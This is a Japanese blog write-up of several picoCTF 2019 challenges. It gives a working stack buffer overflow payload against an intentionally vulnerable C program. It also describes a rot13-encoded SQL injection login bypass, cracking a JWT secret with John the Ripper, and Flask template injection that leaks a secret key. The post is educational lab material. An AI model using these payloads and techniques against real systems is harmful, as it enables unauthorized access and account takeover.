9月の下旬から最近までpicoCTFという初心者向けのCTFをやっていました。結果的に11300点で916/15953位でした。あまり時間が取れなかったのでまぁこれくらいかなと思います。
個人的に面白かった、勉強になった問題、よくわからなかった問題を書いていこうと思います。
面白かった・勉強になった問題
overflow1 (200pt)
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/types.h>
# define BUFSIZE 176
# define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) { //080485e6
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
vuln関数にバッファオーバーフローの脆弱性があります。BUFSIZE 176から何文字でsegmentation faultが起こるか調べます。結果的にAを188文字より多く入力するとsegmentation faultが起こることがわかりました。次にflag関数のアドレスをobjdumpで調べ、ペイロードに追加します(リトルエンディアンに注意)。
そしてflag関数のアセンブリを読んでみると
804864a: 81 7d 08 ef be ad de cmp DWORD PTR [ebp+0x8],0xdeadbeef
8048651: 75 1a jne 804866d <flag+0x87>
8048653: 81 7d 0c 0d d0 de c0 cmp DWORD PTR [ebp+0xc],0xc0ded00d
804865a: 75 14 jne 8048670 <flag+0x8a>
とあったので[ebp+0x8]が0xdeadbeef、[ebp+0xc]が0xc0ded00dになるようにebp+0x4~0x7分を別の文字で埋める(0x0~0x3は前のebpが入ってる)。よってエクスプロイトコマンドは
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x85\x04\x08BBBB\xEF\xBE\xAD\xDE\x0D\xD0\xDE\xC0" | ./vuln
今回 echoに-eオプションでバイト列を作れることを知った。
WhitePages (250pt) General Skills
txtファイルが渡され見てみるといっぱい半角スペースがあるだけでした。バイナリエディターで見てると
よくよく見てみるとE2 80 83と20の2パターンしかありません、調べてみるとそれぞれEM SPACEとSPACEでした。2パターンということはそれぞれ1か0に置き換えてみました
Mr-Worldwide (200pt) Cryptography
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
上のファイルが渡されタイトルから察してそれぞれの座標からでた街名、市名の頭文字をつなげるとフラグになりました。なんか面白かったです。
Flags (200pt) Cryptography
上の画像が与えられました。最初フランスっぽい国旗があったのでそれぞれ国旗なのかなって思って調べてみたが明らかに違うので、ひとつの旗を切り取って画像検索したらこれらは国際信号旗というものでした。wikiを頼りにflagゲット。
First Grep (200pt) General Skills
web shellにつなげると10個くらいのフォルダにそれぞれ28個のファイルがあり、ここからフラグの書かれたファイルを探すようでした。
for i in {0..27}; do cat file$i | grep "pico"; done;
それぞれのディレクトリで上のBashコマンドで探してフラグゲット出来ましたが、後々-dオプションでよかったこと知りました。
わからなかった問題
mus1c (300pt) Cryptography
Pico's a CTFFFFFFF
my mind is waitin
It's waitin
Put my mind of Pico into This
my flag is not found
put This into my flag
put my flag into Pico
shout Pico
shout Pico
shout Pico
My song's something
put Pico into This
Knock This down, down, down
put This into CTF
shout CTF
my lyric is nothing
Put This without my song into my lyric
Knock my lyric down, down, down
shout my lyric
Put my lyric into This
Put my song with This into my lyric
Knock my lyric down
shout my lyric
Build my lyric up, up ,up
shout my lyric
shout Pico
shout It
Pico CTF is fun
security is important
Fun is fun
Put security with fun into Pico CTF
Build Fun up
shout fun times Pico CTF
put fun times Pico CTF into my song
build it up
shout it
shout it
build it up, up
shout it
shout Pico
上の歌詞のようなものが与えられ、ぱっと見プログラミングコードみたいだなと思いput ~ into は代入、shoutは出力、build up, knock downはそれぞれ加算減算ということまでわかったのですが、具体的な数字が全く出てこなくて文字コードとか色々考えてたら数時間経ってました。
調べたところRockstar言語というものでした。お〜〜んって感じです。プログラミングコードっぽいって思った時点で調べるべきでしたね。
Irish-Name-Repo 3 (400pt) Web Exploitation
https://2019shell1.picoctf.com/problem/12271/ or http://2019shell1.picoctf.com:12271
adminでログインするもの、パスワードが暗号化されているらしいのでプロキシを使ってリクエストとレスポンスの内容を見てみましたがさっぱりでした。
調べてみるとHTML内に
<input type="hidden" name="debug" value="0">
デバック用の要素がありました。value=1にしてパスワードを送信するとrot13で暗号化されていました。逆にして ' or 'a' = 'a になるように
' be 'n' = 'n
を送信してフラグゲット
JaWT Scratchpad (400pt) Web Exploitation
https://2019shell1.picoctf.com/problem/49900/
"admin"以外のユーザーネームでログインすると落書き用のテキストボックスがあるだけ、どうにかしてadminでログインする問題のようです。
cookieを覗くとタイトルの通りjwtのフィールドがある。jwtとはJSONの改ざんなどを防ぐ電子署名付きのJSONです。ここでデコードとエンコードができるのでnameをadminにしてverify signatureのパスワードを解読してエンコードしてcookieを書き換えればよさそうです。
パスワードの解読はサイトの下の方にあるjohnというリンクを踏むとjohn the ripperのgithubのページが出てくるのでダウンロードしてビルド
john the ripperが扱える形式にするためにhttps://github.com/Sjord/jwtcrack で変換し、johnを実行します。(4,5時間以上はかかった...)
終わるとilovepico とでるのでエンコードしてcookieにセットしてリロードするとテキストボックスにフラグがでました。
Empire2 (450pt) Web Exploitation
このサイトはバックエンドでflaskが使われており、適当なユーザー名でログインした後todoリストに {{config}} と入力して追加するとsecret keyが得られるので
https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f
このサイトを頼りにセッションをデコードするとフラグが出てきます。
empire1はsqlインジェクションだったからここもそうなのかな?と思ったが全然違かった。flaskについてもっと勉強しなければ...
AES-ABC (400pt) Cryptography
AES-EBCでppmファイルを暗号化したあと、独自の暗号で暗号化していました。
この方のwriteupがとても参考になりました。
AES-EBCの方は復号しなくてもいいのか?と思いましたが128bitごとで暗号化していて、さらに同じキーを用いているので、そのブロックが並び替えられない限りギリギリ読めるといことなんでしょうか
c0rrupt (250pt) Forensics
binary dataが渡されてバイナリエディタを見るとマジックナンバーを見るとpngデータっぽかったのでマジックナンバーを変えてみたけどダメでした。
調べてみると、マジックナンバーだけ変えても意味ないっぽい、その後の何バイトも壊れてて直さないといけない
その後チャンクなども変えたがなぜか開けない、未だに謎